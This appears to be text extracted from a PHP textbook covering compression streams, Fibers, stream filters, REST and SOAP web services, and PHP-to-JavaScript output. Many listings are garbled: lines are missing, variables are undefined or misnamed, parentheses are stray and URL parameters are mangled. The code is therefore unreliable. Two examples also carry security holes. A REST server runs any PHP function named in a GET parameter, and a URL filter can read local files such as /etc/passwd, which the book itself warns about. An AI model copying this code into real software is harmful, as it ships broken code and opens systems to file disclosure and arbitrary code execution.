"compress.bzip2://test.bz2",
file_get_contents("test.txt")
)
) {
echo "BZ2 file written.<br />";
} else {
echo "Error writing the BZ2 file.<br />";
}
?>
However, if you run the script in Windows, you will get the result shown in Figure 26.7.
The reason: The BZ2 filter is not available there (when using Unix/Linux, the filter
works if the respective library is installed on the system). To change this, you must add
the following option to php.ini:
extension=bz2
GZ also works without php.ini settings on all systems. In the test, the test.txt file could
be reduced from 362 bytes to 84 bytes.
Figure 26.7 Here gzip Works, but bzip2 Does Not (without Appropriate Configuration)
Incidentally, you can also read compressed files back in with the same stream type. The
following listing shows the corresponding code.
<?php
if (file_exists("test.gz")) {
echo "<h1>test.gz</h1><pre>";
echo htmlspecialchars(
file_get_contents("compress.zlib://test.gz")
);
echo "</pre>";
}
if (file_exists("test.bz2")) {
echo "<h1>test.bz2</h1><pre>";
echo htmlspecialchars(
file_get_contents("compress.bzip2://test.bz2")
);
echo "</pre>";
}
?>
You will receive the contents of both files (see Figure 26.8)—or, if Windows is not con-
figured accordingly, only the data in the GZ file. Unix/Linux users will see both
archives.
Note
You can also try to open the PHP source code archive with streams—for example, the
php-8.x.y.tar.gz file. However, your system may then quickly reach its (memory) limits.
In addition, the file it contains is a TAR file that you cannot easily edit with PHP’s
onboard tools.
The code in Listing 26.9 downloads the README file from Mozilla's FTP server
(ftp.mozilla.org), which contains general information about the server. The file is saved
locally and can be viewed there. The download mode selected is FTP_ASCII; for binary
files, you need FTP_BINARY.
26.3 Fibers
With Fibers, a new feature was introduced in PHP 8.1 to perform several tasks simulta-
neously. Strictly speaking, Fibers are functions with a pause button: if desired, they can
be interrupted and resumed later. This also results in the three main methods of an
instance of the Fiber class:
쐍 start()
Starts a fiber function
쐍 suspend()
Pauses a fiber function
쐍 resume()
Resumes a paused fiber function
Why is this topic in a chapter that is primarily about network communication and
HTTP? Because Fibers are a great way to perform parallel HTTP requests! To do this, we
create several instances of the Fiber class. The constructor contains the code of the
Fiber as an anonymous function. We then execute all Fibers in a loop by calling their
start() method. Listing 26.10 shows the corresponding code.
<?php
$urls = [
"https://www.php.net/",
"https://windows.php.net/",
"https://pecl.php.net/"
];
$fibers = [];
Further, albeit rather brief, information about Fibers can be found in the PHP online
documentation at www.php.net/fibers. For more detailed information about the imple-
mentation of Fibers, it is worth taking a look at the RFC for this feature (https://
wiki.php.net/rfc/fibers).
How do we achieve this? With a special streams filter. The string.strip_tags filter is
already quite good, but imagine we want to keep the content of <p> tags. We also want
to prepare the output with htmlspecialchars(). String manipulation is then still neces-
sary: Because the <p> tags (and their content) should be retained, we have to delete the
tags themselves. In the self-written filter, the following instruction is the decisive one:
$bucket->data = htmlspecialchars(
str_ireplace("<P>", "", strip_tags($bucket->data, "<p>"))
Listing 26.11 shows a small example: The user enters a web address, which is loaded and
converted into a text version. Figure 26.9 shows the output.
<form method="post">
URL: <input type="text" name="url" value="<?php
echo (isset($_POST["url"]) && is_string($_POST["url"])) ? htmlspecialchars($_
POST["url"]) : "";
?>" /><input type="submit" />
</form>
<hr />
<?php
if (isset($_POST["url"]) && is_string($_POST["url"])) {
$url = $_POST["url"];
class textversion_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing): int
{
while ($bucket = stream_bucket_make_writeable($in)) {
$bucket->data = htmlspecialchars(
str_ireplace("<P>", "", strip_tags($bucket->data, "<p>"))
);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
stream_filter_register(
"string.textversion",
"textversion_filter"
);
echo "<pre>";
echo file_get_contents(
"php://filter/read=string.textversion/resource=$url"
);
echo "</pre>";
}
?>
Note
This application is not intended for internet use in its current form as you can enter any
stream in the URL field, including a local file name such as /etc/passwd. If you integrate
this text version into your website, you must make the script particularly secure (e.g.,
by only allowing URLs from a specific server).
file_get_contents($_FILES["file"]["tmp_name"]))
);
The data is now stored in a temporary file whose name was created with tempnam() (the
path provided, /tmp, must exist on your system and be writeable). With file_get_
contents(), we read the file again and output it by writing the corresponding HTTP
headers by hand. As the recommended file name for the web browser, we use the name
of the original file (which we determine using $_FILES) plus the extension .gz:
$data = file_get_contents($tempfile);
header("Content-type: application/x-gzip");
header("Content-disposition: inline; filename=" .
basename($_FILES["file"]["name"]) . ".gz");
echo $data;
exit();
Consider the following complete listing; the output is shown in Figure 26.10.
<?php
if (isset($_FILES["file"]) && isset($_FILES["file"]["tmp_name"]) &&
is_uploaded_file($_FILES["file"]["tmp_name"])) {
$tempfile = tempnam("/tmp", "php");
if (@file_put_contents(
"compress.zlib://$tempfile",
file_get_contents($_FILES["file"]["tmp_name"])))
) {
$data = file_get_contents($tempfile);
header("Content-type: application/x-gzip");
header("Content-disposition: inline; filename=" .
basename($_FILES["file"]["name"]) . ".gz");
echo $data;
exit();
}
} else {
?>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="file" />
<input type="submit" />
</form>
<?php
}
?>
Note
Some sources list application/gzip as the MIME type for gzip-compressed files. How-
ever, if you search Google for application/gzip and the application/x-gzip used in
the script, the latter MIME type seems to return more hits.
APIs have become an integral part of modern IT. Whether you think of the big standard
examples such as Google, Amazon, and eBay web services or the overarching commu-
nications between companies, portals, and the like, web services pave the way between
different applications.
PHP offers an astonishing wealth of suitable libraries. The aim of this chapter is to show
you the most important ones and explain how to use them. However, simple library-
free solutions with REST services are also shown. If you are not yet familiar with the
terms in the web services universe, you can learn more in Section 27.1.1.
27.1 Preparation
This section on preparation is divided into two parts. First, some basics about web ser-
vices are listed, which you can and should skip if you are an expert. This is followed by
the installation of the necessary libraries.
The Architecture
Web services have often been misunderstood: as services in the business sense, as
being limited to the Internet, and so on. According to our definition, web services are
there to enable cross-machine communication: One server talks to another. This hap-
pens automatically once the developer has set it up.
The starting point here are the RPCs, which existed in the past with various technolo-
gies. In principle, web services also allow method calls via the network. However, there
are two important differences from previous approaches:
쐍 Web services can also be sent as simple messages without an (immediate) response.
쐍 Web services are interoperable thanks to open standards. This means that any
server-side technology can integrate web services—and 99% do this today.1
The web services architecture is very simple: You have a service provider and a service
consumer. The consumer should not be confused with the end customer; rather, it is
the one (server) that reads the web service and uses the information from it. In most
cases, the service consumer will pass pure data in its website layout to its user.
Service providers and service consumers are also the key elements of service-oriented
architecture (SOA). This term is the counterpart to the object-oriented architecture
(OOA) of modern applications. OOA is tightly integrated, whereas SOA is based on loose
coupling. Loose coupling means that services can be easily changed. Ultimately, the aim
is for services to be plug-and-play.
In SOA, another role comes into play that we have left out so far: the service directory.
In the directory, the service provider publishes its service. The consumer finds it and
can connect directly to the provider. The directory is not absolutely necessary to work
with web services if the communication partners know each other. However, directo-
ries are indispensable for success as a mass technology.
The Standards
The question now is which standards are technically necessary for web services. In
principle, a simple HTTP GET request can already be declared as a web service. This is
then called a REST service.
The REST principle is used today for most APIs in the network. REST stands for Repre-
sentational State Transfer and goes back to the doctoral thesis of R. T. Fielding, who also
worked on the HTTP protocol. The idea is that everything on the internet can be
mapped via URIs. The existing HTTP verbs GET, POST, PUT, and DELETE are sufficient to
realize web services. The standard basis here is HTTP as the transport level—that is,
communication via the standard web protocol.
1 However, the problems should not be concealed. Read the subsection ahead titled “The Problems.”
In practice, REST-based services are the most common way of exchanging data
between two applications today because they offer the best performance. From Google
to Amazon, most services today offer REST APIs (see Figure 27.1).
The data in a REST service can be exchanged in a wide variety of formats. JSON
(www.json.org) is the quasi-standard for this.
In PHP, it is no problem to access such a web service via HTTP GET. The return value is
then XML, which can be easily processed with SimpleXML (see Chapter 29), for exam-
ple. Most REST web services primarily deliver JSON, the aforementioned string-based
notation for structured data in array and object form.
Note
You do not need any extensions in PHP for a REST-based service. The functions for
accessing HTTP data are included directly, as are functions for processing JSON. This
also explains the success of REST services. You can find an example of such an access in
Section 27.2.
However, REST is not free of problems: It lacks a defined format for the data transferred
in the URL, and the PUT and DELETE HTTP methods are rarely implemented. Standard
solutions such as SSL with certificates, HTTP Basic Auth, and XML-based solutions such
as OAuth 2 are used for security and authentication.
The alternative to REST is to use classic web services based on the following standards:
쐍 SOAP is the carrier protocol. It encloses the message or the method call.
쐍 Web Services Description Language (WSDL) is the description of the web service. It is
not absolutely necessary but helps to integrate the web service easily in most imple-
mentations.
SOAP
SOAP originally stood for Simple Object Access Protocol. In the W3C2specification for
version 1.23 (www.w3.org/TR/soap), SOAP is now simply called SOAP. The reason is obvi-
ous: SOAP is neither particularly simple nor is it directly related to object access. An
acronym without meaning is not very useful, but the already naturalized name did not
have to be changed.
The structure of SOAP consists of three elements:
쐍 The envelope encloses the complete SOAP message.
쐍 The SOAP header contains security information, for example, but is optional.
쐍 The SOAP body contains the actual message.
Note
Today, SOAP messages are usually sent via HTTP, the web protocol. Accordingly, the
HTTP header appears above the message. However, this is not a must. In fact, you can
also use any other protocol as a transporter. SMTP and FTP are conceivable, for example.
2 The World Wide Web Consortium is the standardization body responsible for HTML and XML,
among other things. SOAP and WSDL are also part of the W3C.
3 Version 1.1 still is often implemented. To be on the safe side, you should use this version.
WSDL
Generating SOAP messages by hand is not a pleasant task. This is one of the facts that
justifies the existence of WSDL. Like SOAP, WSDL was submitted to the W3C by Micro-
soft and IBM. The current version is 2.0 (www.w3.org/TR/wsdl.html).
WSDL provides a description for a web service. The description contains all methods
but can also provide a lot of additional information that is not used very often today.
WSDL is used by most web services implementations to relieve the developer of work.
When you create a service, the implementation can generate the WSDL itself. If you
consume the service, the implementation accesses the WSDL and automatically gener-
ates the required SOAP messages from it.
The Problems
Web services are widely used today. Nevertheless, there are still factors that have not
been optimally resolved or are still being worked on:
쐍 Security.
쐍 Performance.
쐍 Transactions and processes.
쐍 Directory services are not very successful; there are no modern implementations for
PHP either.
When it comes to security, the standards are constantly being developed: WS-Security
from OASIS offers a good overarching approach. WS-Security has a very open structure
and combines many other existing standards such as XML Encryption and SAML. How-
ever, there is still no comprehensive implementation in PHP, for example.
In practice, we have seen many homemade solutions for authentication and session
management. Some web service providers also do without further security mechanisms.
One example is Amazon. Only a developer token (i.e., a unique ID) is used, which is sent
along with the method call. Further security (e.g., SSL certificates) is not used as Amazon
handles the final step, payment, itself and only allows Amazon customers to do so.
Another frequently mentioned problem is the performance disadvantage compared
to binary transfer. One solution here is to use the gzip capabilities of HTTP. However,
you should test this in order to really determine whether compression is necessary for
your data volumes. SOAP-based web services are also often criticized for the "over-
head" of description data from a performance perspective. REST-based services solve
this problem.
The third problem is the coverage of transactions and processes. Let's talk about a sim-
ple example. Let's say you book a ticket for a train journey. Then you get on a full train,
are pleased with your reservation, fight your way through first class, and stand in front
of your seat. But it is not empty: A nice elderly lady is sitting there. You have a little
discussion, the lady shows you her ticket, and it shows exactly the same reservation
time as on your ticket. In such a case, the transaction security in the application has
failed.4
There are currently many standards that are intended to provide transaction and pro-
cess functionality. The most promising is probably BPEL.
The Implementations
When dreaming about interoperability, it is often forgotten that you naturally need an
implementation in your server-side programming language for web services.5 PHP
thrives on its diverse developer community and offers different implementations. On
the one hand, this is an advantage; on the other hand, there are not too many leftover
resources for implementing new standards.
Here is a very brief overview of the most important web services libraries and pack-
ages:6
쐍 nuSOAP is based on a development by Dietrich Ayala. nuSOAP itself was originally
derived from the SOAPx4 library, which was also written by Dietrich Ayala. Its
strength lies in its ability to dynamically generate WSDL and its successful interop-
erability with various programming languages.
쐍 PHP-SOAP is the standard library supplied with PHP and therefore the most com-
monly used method for working with SOAP-based web services in PHP.
Note
The development of PHP-SOAP was quite controversial in the PHP community. Many
would have preferred PEAR::SOAP, the most popular package for PHP 4, to be ported to
PHP 5. This opinion had grown due to some bugs in PHP-SOAP. However, PHP-SOAP has
prevailed.
27.1.2 Installation
The description of the installation in this section is divided according to the different
implementations.
nuSOAP
The installation of nuSOAP is very easy as it is simply a few PHP files that you can inte-
grate into your projects. Download the files from https://github.com/contributte/
nusoap—thats a rewrite of the original nuSoap for modern PHP versions. The current
4 Fortunately, the problem with rail travel has been solved for some years now. In this respect, this is
a fictitious example.
5 Always assuming that you don't want to work by hand, which is hardly an option for most projects.
6 The selection is based on use in practice as well as in the literature, but it is of course subjective to a
certain extent.
version is 0.9.16. Then place the lib directory in the folder of your project or in any other
folder on your web server. You only need to integrate this file into your scripts:
require_once "lib/nusoap.php";
PHP-SOAP
PHP-SOAP must be activated in Linux during configuration:
--enable-soap
extension=php_soap.dll
extension=soap
This may already be in place with the host. Use phpinfo() to check whether the module
already exists (see Figure 27.2).
27.2 REST
Accessing a REST message is basically very simple. The REST principle means that the
data and services are always hidden behind a unique URL. This means that you only
need to provide a REST server with a URL structure in which individual methods can be
called up. The easiest way to do this is via URL parameters—for example, in the follow-
ing structure:
쐍 method specifies the method called as a parameter.
쐍 parameter receives an array with the parameters.
http://localhost/php/rest_server.php?method=square¶meter=[24]
Various formats are possible for data exchange with REST. You can define your own
XML format or use JSON, a commonly used notation for arrays and objects.
Note
The names of the URL parameters are completely freely selectable. The same goes for
the data format. On the one hand, this is flexible—but on the other hand, this is also a
special feature of REST because you actually have to define everything yourself.
The following script creates a REST server by specifying two GET parameters for the
method and the parameter:
1. The system first checks whether the parameters are available:
Further checks would be conceivable at this point. For this simple example, how-
ever, it is sufficient for us to determine whether the parameters exist.
2. The URL parameters are then processed. The second URL parameter, which contains
the parameters for the function, is converted from JSON format into a PHP array
using json_decode():
$method = $_GET['method'];
$parameter = json_decode($_GET['parameter']);
3. So that no unknown method can be called, we check whether the called function
exists:
if (function_exists($method)) {
4. You can then obtain the result by calling the method with the first parameter. The
result itself is also converted back into an array in the same step, which is then con-
verted into a serialized array with json_encode():
$result = [$method($parameter[0])];
echo json_encode($result);
When using several methods with different numbers of parameters, you must add fur-
ther checks here.
Listing 27.1 contains the complete code; Figure 27.3 shows the output.
<?php
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
}
}
if (isset($_GET['method']) && isset($_GET['parameter'])) {
$method = $_GET['method'];
$parameter = json_decode($_GET['parameter']);
if (function_exists($method)) {
$result = [$method($parameter[0])];
echo json_encode($result);
}
}
?>
Figure 27.3 The Return of the Server when Called Directly with "GET" Parameters
The client has a very simple structure. With the file functions, you can access a REST ser-
vice directly if allow_url_fopen is activated in php.ini. Here we use file_get_contents().
The core is the URL, which is assembled here:
$url = 'http://localhost/php/rest_server.php?method=' .
urlencode($method) . '¶meter=' . urlencode(json_encode($parameter));
The response itself still needs to be checked. file_get_contents() returns false if the
call fails. The response must then be converted with json_decode(), and in our case the
first element of the array is the response. The following listing shows the complete
script; the output follows in Figure 27.4.
<?php
$method = 'square';
$a = 24;
$parameter = [$a];
$url = 'http://localhost/php/rest_server.php?methode=' .
urlencode($method) . '¶meter=' . urlencode(json_encode($parameter));
$answer = file_get_contents($url);
if ($answer !== false) {
$result = json_decode($answer)[0];
print "The square of $a is: " . $result;
}
?>
When decoding JSON, you previously always had to rely on valid JSON or write a valida-
tion function yourself. In PHP 8.3, a new validation function became part of the PHP
core: json_validate(JSON string, depth, flag). It has three parameters:
쐍 The JSON string is the only mandatory parameter of the method and contains the
string to be validated. PHP uses UTF-8 as the string character encoding here.
쐍 Depth is an optional specification that indicates the nesting depth to which valida-
tion is performed.
쐍 For flags, there is currently only one option, JSON_INVALID_UTF8_IGNORE, which
ignores invalid UTF-8 characters.
<?php
$json = '{
"shares" : {
"Miemens" : 120,
"Rheinwerk" : 504
}
}';
var_dump(json_validate($json));
?>
In this case, the result is true because the JSON is valid. This can be changed quickly
with a small change as in the next listing. It is difficult to see the difference; only a
comma is missing after the "Miemens" entry.
$json = '{
"shares" : {
"Miemens" : 120
"Rheinwerk" : 504
}
}';
json_validate($json);
echo json_last_error() . " " . json_last_error_msg();
json_validate() itself does not return any error messages. PHP offers two other meth-
ods for this: json_last_error() and json_last_error_msg(). In this example, json_last_
error() returns status code 4 and json_last_error_msg() returns the "Syntax error"
message. See Table 27.1 for the JSON error codes.
27.3 nuSOAP
nuSOAP impresses above all with its ease of use. You will find that you can set up your
own server very quickly.
27.3.1 Server
First, you need you need a server so that you can test the communication between the
provider (server) and consumer (client). Let’s analyze the code:
1. To begin, you need the corresponding nuSOAP PHP file. It contains the functionality
for the server and client and can be found in the lib directory after downloading and
unpacking the ZIP:
require_once "lib/nusoap.php";
2. Then create a new server object. There you use register() to register the function
you want to use:
Tip
You can also assign several functions to a SOAP server. But be careful: If you want to
achieve complete interoperability, you should limit yourself to one function, as some
SOAP implementations only understand one! An example of this is the Flash web ser-
vices extension, which can hardly be made to call several methods.
3. The actual square() function is very simple. It receives a parameter. You then check
whether the parameter has been passed and contains values. If so, the square is
returned. Otherwise, the server returns a SOAP error, as you can see in Listing 27.5.
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
} else {
return new soap_fault("Client", "", "No parameter");
}
}
4. Now the server still has to respond to calls. To do this, it needs the POST data from
the call. We use the new php://input functionality instead of $HTTP_RAW_POST_DATA to
read the data. A check helps here to avoid producing an error message when calling
directly. Use the service(data) method to execute the server:
That's all there is to it. The following listing shows the complete code.
<?php
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
} else {
return new soap_fault("Client", "", "No parameter");
}
}
require_once "lib/nusoap.php";
$server = new nusoap_server();
$server->register("square");
$data = file_get_contents("php://input") ?? "";
$server->service($data);
?>
Note
In this example, nuSOAP automatically decides which data type it is. However, you also
have the option of selecting the data type manually. To do this, use the soapval(name,
type, value, namespace_value, namespace_type, attributes) function. You can also
enter an empty string for the name. The type is the data type; the value is the actual
transfer. You should use namespaces if you want to create your own variables and data
types and tell the communication partner what they are.
27.3.2 Client
Now we come to the client that is to consume the service. It starts again as usual:
1. First add the nuSOAP library:
require_once "nusoap.php";
2. This is followed by the call for the client. You enter the URL of the service as a param-
eter:
Note
nuSOAP offers two more methods, soap_server() and soapclient(), for the server and
client.
3. The actual method call is made with call(method, parameter). The parameters are
passed as an array:
$a = 36;
$answer = $client->call("square", [$a]);
4. Finally, check whether any errors have occurred. If everything was OK, the result is
displayed:
if ($error = $client->getError()) {
print "Error: " . $error;
} elseif ($error = $client->fault) {
print "SOAP error: " . $error;
} else {
print "The square of $a is " . $response;
}
Listing 27.6 shows the complete script; the output is shown in Figure 27.5.
<?php
require_once "lib/nusoap.php";
$a = 36;
if ($error = $client->getError()) {
print "Error: " . $error;
} elseif ($error = $client->fault) {
print "SOAP error: " . $error;
} else {
print "The square of $a is " . $answer;
}
?>
27.3.3 WSDL
So far, the example with nuSOAP did not require WSDL at all. But WSDL is an important
element, especially for interoperability with other technologies. To create WSDL, you
only need to adapt your script a little:
1. First configure the WSDL. To do this, give the service a name (here, Square) and a
namespace:
$server->configureWSDL("Square", "http://www.arrabiata.de/nusoap/");
2. Next register the method. The name of the function, the format, the current time,
and the schema namespace are important here:
$server->register("square",
["a" => "xsd:int"],
["square" => "xsd:int"],
"http://soapinterop.org/"
);
<?php
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
} else {
return new soap_fault("Client", "", "No parameter");
}
}
require_once "lib/nusoap.php";
$server = new nusoap_server();
$server->configureWSDL("Square", "http://www.arrabiata.de/nusoap/");
$server->register("square",
["a" => "xsd:int"],
["square" => "xsd:int"],
"http://soapinterop.org/"
);
You can easily view the WSDL produced by nuSOAP. Simply append ?wsdl to the name
of the script. For our example, the local address is http://localhost/php/nusoap_wsdl_
service.php?wsdl (see Figure 27.7). The length of the WSDL shows that automatic gener-
ation certainly has its advantages.
Note
If you call the service without ?wsdl, you will receive an information page that refers to
WSDL and also provides a description of the method (see Figure 27.6). nuSOAP has
adopted this useful behavior and ?wsdl from Microsoft's ASP.NET web services.
$a = 48;
$result = $client->call('square', ['a' => $a],
'http://www.arrabiata.de/nusoap/');
$proxy = $client->getProxy();
$result = $proxy->square($a);
if ($error = $client->getError()) {
print "Error: " . $error;
} elseif ($error = $client->fault) {
print "SOAP error: " . $error;
} else {
print "The square of $a is " . $result;
}
Listing 27.8 shows the complete code. The most important changes compared to the
normal client are highlighted in bold. Figure 27.8 shows the output.
<?php
require_once "lib/nusoap.php";
$client = new nusoap_client(
"http://localhost/php/nusoap_wsdl_server.php?wsdl",
true);
$a = 48;
$result = $client->call('square', ['a' => $a],
'http://www.arrabiata.de/nusoap/');
if ($error = $client->getError()) {
print "Error: " . $error;
} elseif ($error = $client->fault) {
print "SOAP error: " . $error;
} else {
print "The square of $a is " . $result;
}
?>
Figure 27.8 Now the Mental Arithmetic Becomes More Difficult ...
Tip
To test the error handling, simply do not pass any parameters. You can see the result in
Figure 27.9.
Figure 27.9 The Error Message Indicates that No Parameter Was Passed.
27.3.4 Conclusion
nuSOAP impresses above all with its ease of use. With nuSOAP, you only have to copy
one file. It is very flexible to use and does not need an installed SOAP library.
27.4 PHP-SOAP
PHP-SOAP is the standard web services library in PHP. At the beginning there was some
discussion about this: Is a new library really necessary, or is it better to port an existing
one to C? The main reason for a C-based PHP extension is performance. The new devel-
opment was chosen in the end to be able to build from scratch on a greenfield site and
not drag along any legacy code. In addition, libxml could be chosen as the basis, which
further standardizes XML support in PHP.
27.4.1 Server
The server is created quickly:
1. The SoapServer object contains everything important. The first parameter is for
WSDL. As we are not using WSDL here, but a normal SOAP call, we pass null. The sec-
ond parameter is an associative array with options:
2. The square() function is used again. Only the throwing of the error changes com-
pared to before:
3. Finally, add the function to the server and start the server with handle():
$server->addFunction("square");
$server->handle();
<?php
$server = new SoapServer(null, ["uri" =>
"http://www.arrabiata.de/PHP-SOAP/"]);
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
} else {
throw new SoapFault("Client", "No parameter");
}
}
$server->addFunction("square");
$server->handle();
?>
Tip
Instead of a function, you can also use a class and set it with setClass(class). You can
find this variant in the materials for the book (see the Preface) under the name php_
soap_server_class.php.
27.4.2 Client
With the client, the simple handling of PHP-SOAP is even more noticeable:
1. You create the client with the SoapClient object. The first parameter here is also for
WSDL. If none is available, as here, write zero. The second parameter is the associa-
tive array with the options. Of course, the location option, which specifies the loca-
tion of the SOAP web service, is particularly important:
try {
... Further processing
} catch (SoapFault $ex) {
... Error handling
}
3. You call the method in the try block. This is done with __soapCall(method, parameter).
The parameters are specified as an array:
$a = 111;
$answer = $client->__soapCall("square", [$a]);
print "The square of $a is: " . $answer;
4. Finally, you need the code for error handling. Here we simply read the error code and
associated description from the SoapFault object. Figure 27.10 shows the output:
The following listing shows the complete code of the client; Figure 27.11 shows the out-
put.
<?php
$client = new SoapClient(null, ['location' =>
"http://localhost/php/php_soap_server.php",
'uri' => "http://arrabiata.de/PHP-SOAP/"]);
try {
$a = 111;
$answer = $client->__soapCall("square", [$a]);
print "The square of $a is: " . $answer;
} catch (SoapFault $ex) {
print "Error code: " . $ex->faultcode . "<br/>";
print "Error string: " . $ex->faultstring;
}
?>
27.4.3 WSDL
The use of WSDL is easily possible with PHP-SOAP. You simply insert the address of the
respective WSDL into the SoapClient(WSDL, options) object and the SoapServer(WSDL,
options) object. The only problem is that you need ready-made WSDL. Unlike nuSOAP
and PEAR::SOAP, PHP-SOAP does not support WSDL generation. This means that you
have to write the WSDL by hand or generate it in some other way.
Note
This was a hotly debated topic during the development of PHP-SOAP. The argument
against WSDL support was that the generation costs performance and is in principle
not the task of the SOAP/web services library.
First look at the server code. The most important new feature is the WSDL document.
<?php
$server = new SoapServer("http://localhost/php/square.wsdl",
["uri" => "http://www.arrabiata.de/PHP-SOAP/"]);
class Methods {
function square($a) {
if ($a != null && trim($a) != "") {
$square = $a * $a;
return $square;
} else {
throw new SoapFault("Client", "No parameter");
}
}
}
$server->setClass("Methods");
$server->handle();
?>
Not much changes in the client either. You insert WSDL (alternatively: the URL of the
web service and attached ?wsdl) and call the method directly. The error handling
remains unchanged.
<?php
$client = new SoapClient("http://localhost/php/square.wsdl",
['location' => "http://localhost/php/php_soap_server.php",
'uri' => "http://arrabiata.de/PHP-SOAP/"]);
try {
$a = 112;
$answer = $client->square($a);
print "The square of $a is: " . $answer;
} catch (SoapFault $ex) {
print "Error code: " . $ex->faultcode . "<br/>";
print "Error string: " . $ex->faultstring;
}
?>
27.4.4 Conclusion
The basic decision not to include WSDL support in the SOAP extension is perfectly
understandable, but we still find it impractical. Generating WSDL documents by hand
is quite time-consuming. Apart from that, PHP-SOAP works well, and as it is the stan-
dard library.
28.1 Preparations
There is no separate PHP extension for JavaScript. Why should there be one? In this
chapter, you will find general information and tips on how you can use the PHP server-
side technology to create client-side scripts and how you can make the two technolo-
gies work hand in hand. You do not need to reconfigure PHP to do this.
<?php
echo "<script>\n";
echo "var phpVersion = \"8.3.12\";\n";
echo "</script> ";
?>
<script>
</script>
<?php
$phpv = phpversion();
echo "<script>\n";
echo "var phpVersion = \"$phpv\";\n";
echo "</script> ";
?>
Of course, the function call can also be placed directly in the code:
<?php
echo "<script>\n";
echo "var phpVersion = \"" . phpversion() . "\";\n";
echo "</script> ";
?>
The following listing shows a complete script that displays the current PHP version in
a warning window (see Figure 28.1).
<html>
<head>
<title>PHP and JavaScript</title>
<script>
<?php
echo " var phpVersion = \"" . phpversion() . "\";\n";
echo " window.alert(\"Generated by PHP \" + phpVersion);";
?>
</script>
</head>
<body>
<p>If nothing happens, you have deactivated JavaScript!</p>
</body>
</html>
However, it is somewhat more difficult if the variable value to be output contains spe-
cial characters that would invalidate the resulting JavaScript code. The following char-
acters are particularly "dangerous":
쐍 Quotation marks
These can be conveniently adjusted using addslashes().
쐍 All characters for which there is an escape sequence
These are \r, \n, \t, and so on. A line break within a string should not be output as a
line break, but as \n. These special characters must therefore be treated specially:
$replacement = [
"\n" => "\\n",
"\r" => "\\r",
"\t" => "\\t"
];
$variable = addslashes($variable);
$variable = strtr($variable, $substitution);
<?php
echo("<script>\n");
echo("var phpVariable = \"$variable\";\n");
echo("</script> ");
?>
So what happens to the $variable PHP variable in which the following string is stored?
After going through the two steps listed previously, $variable has this value:
Here is a small example: Any text can be entered in a multiline text field. After the form
has been sent, the PHP code generates JavaScript code that outputs the text in the text
field. Like Listing 28.2 shows, this works perfectly with the line breaks in the input and
in the code.
<html>
<head>
<title>PHP und JavaScript</title>
<?php
$variable1 = "";
if (isset($_POST["text"]) && !empty($_POST["text"]) &&
is_string($_POST["text"])) {
$variable1 = addslashes($_POST["text"]);
$replacements = [
"\n" => "\\n",
"\r" => "\\r",
"\t" => "\\t"
];
$variable2 = strtr($variable1, $replacements);
echo("<script>\n");
echo("var phpVariable = \"$variable2\";\n");
echo("window.alert(phpVariable);\n");
echo("</script> ");
}
?>
</head>
<body>
<form method="post" action="">
<b>Text:</b>
<textarea name="text" rows="10" cols="70"><?php
echo(htmlspecialchars(stripslashes($variable1)));
?></textarea>
<br />
<input type="submit" value="Send data" />
</form>
</body>
</html>
<script>
</script>
Note
The encodeURIComponent() JavaScript function converts special characters in a string
into a URL parameter-compliant format; for example, dynamically generated fill
data becomes the string dynamically%20generated%20F%fill data. This important step
is often forgotten. Worse still, those using older browsers sometimes do not even
notice the error, as some browsers allow special characters in the URL (e.g., spaces) or
do not complain about them.
Setting location.href loads a new page in the browser, which is not always desirable.
But there are ways to work around this:
top.frames["iframe name"].src =
"script.php?jsVar=" + encodeURIComponent(jsVariable);
document.images["image name"].src =
"script.php?jsVar=" + encodeURIComponent(jsVariable);
28.3 Ajax
The XMLHttpRequest object, which can be addressed by JavaScript, has been available in
Microsoft Internet Explorer since around 1998. This makes it possible to send HTTP
requests with JavaScript in the background and evaluate their returns. This object was
invented by Microsoft initially purely for its own benefit as a web version was to be cre-
ated for the in-house Outlook mail system. To avoid the constant (visible) reloading of
the page, technology such as XMLHttpRequest became necessary.
Fast-forward to the beginning of the new millennium: Word had slowly got around
that Microsoft's browser technology was actually a good thing. Support for it was grad-
ually added to the relevant web browsers: in Mozilla and therefore also Firefox and its
ilk, in the Opera browser, and also in Safari. Google Chrome, the most recent of the
major browsers despite its high version number, also has JavaScript support for this
feature, as does Edge (and the current Opera browser).
So far, so good—but there was still no significant spread of the technology on the web.
Then, however, Google published some websites that relied heavily on XMLHttpRequest.
The consultant Jesse James Garrett took advantage of this and created Ajax.1 This is sup-
posed to stand for asynchronous JavaScript and XML, but it is actually a misnomer; XML
is not necessary at all. Regardless, since it was coined, half the web world has been
jumping on the bandwagon of the "new" technology—but it's all about relatively trivial
things.
Of course, the following is a gross oversimplification, but Ajax can be summarized rel-
atively simply:
쐍 JavaScript can send HTTP requests to a server (without page refresh).
쐍 JavaScript can access the result of these HTTP requests.
Thanks to the DOM possibilities of JavaScript, it is then still possible to cleverly inte-
grate the server's returns into the page. One of the first prominent examples of this is
Google. If you enter a search term there, Google searches—as you type—for corre-
sponding search queries and makes suitable suggestions, as Figure 28.3 shows.
1 The archived version of the paper that introduced Ajax can be found at http://s-prs.co/v602240.
We will not go into the JavaScript code that is actually required for this here; that would
be something for a JavaScript book. However, there are some packages that enable a rel-
atively convenient connection between client-side JavaScript and server-side PHP. The
